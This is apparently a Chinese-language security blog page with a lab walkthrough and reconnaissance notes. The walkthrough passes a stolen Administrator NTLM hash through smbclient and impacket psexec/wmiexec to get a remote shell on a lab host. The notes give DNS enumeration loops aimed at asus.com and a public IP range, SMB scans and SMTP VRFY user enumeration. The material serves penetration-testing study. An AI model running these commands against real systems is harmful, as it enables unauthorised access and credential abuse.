ARIES

 NTLM PtH 已知靶機 192.168.197.211，帳號 / 密碼 : gunther / password123! 透過 PTH 技術登入到靶機 192.168.197.212 並在 Administrator 桌面上找到 Flag  第一步先用已知的帳號密碼登入 192.168.197.211 登入後輸入 \\192.168.197.212\secrets，會跳出如下的帳號密碼驗證視窗 使用 gunther 與密碼 password123! 無法登入，所以看來第二台沒有該帳號權限 先抓取現有登入機器的 administrator 帳號 HASH 如下 7a38310ea6f0027ee955abed1762964b 從攻擊機直接透過 smbclient 指令，並指定使用者 administrator 然後密碼用 HASH 登入測試 └─$ smbclient \\\\192.168.197.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b 可以看到成功登入了 接下來使用 impacket 庫中的 psexec.py 腳本來拿 remote shell 由於 HASH 的格式為 "LMHash:NTHash" (LM 在現今系統已無使用，但還是要輸入不可空白) 使用如下指令登入，記得 LM Hash 要輸入一樣的長度，直接用 0 代替即可 └─$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.197.212 直接就拿到 remote shell 了，ipconfig 看一下確定是 192.168.197.212 那一台 直接到管理員桌面拿 flag 吧 因為 impacket 當中包含了許多指令與套件，我們可以使用另外一個 wmiexec 也可以成功拿到 remote shell，指令 └─$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0...

  枚舉 隨手筆記 一次查詢多筆 DNS 紀錄，先建立一個 list.txt 檔案接著使用下列指令進行查詢 └─$ for ip in $(cat list.txt); do host $ip.asus.com; done DNS 批次查詢 103.10.4.200 ~ 103.10.4.254，輸出時過濾掉字串中有 "not found" 不存在的紀錄 即可一次批次查詢某範圍內的 IP 並存在的紀錄 指令 └─$ for ip in $(seq 200 254); do host 103.10.4.$ip; done | grep -v "not found" SMB 枚舉指令，掃 139,445 時，枚舉完寫入檔案 smb.txt，確認哪個 IP 有開這兩個 Port 指令 : nmap -v -p 139,445 -oG smb.txt 192.168.203.1-254 下一步針對有開 139、445 的 IP 進行 nbtscan 查找 NetBIOS name 指令 : sudo nbtscan -r 192.168.203.0/24/  看一下 nmap 有哪些 SMB scripts 指令 : ls -l /usr/share/nmap/scripts/smb* 查用的第一個就是 smb-os-discovery 針對特定 IP 使用該 Script，包含 139 & 445 Port 指令 : nmap -v -p 139,445 --script  smb-os-discovery 192.168.203.10 Windows 使用指令 net view \\<domain name or IP> /all 可以看分享的資料夾，如下圖 SMTP 枚舉，要確認收件者帳號最好用的指令是 VRFY，透過 nc -nv 登入目標 25 Port 後 直接下 VRFY 接帳號即可確認，但真實世界的大部分 SMTP Server 都會拒絕 VRFY 列舉使用者 Github 也有提供 smtp.py 確認 VRFY 的相關檔案 例如 :  https://github.com/OpenSecurityResearch/pentest-scripts/blob/master/smtp-vrfy...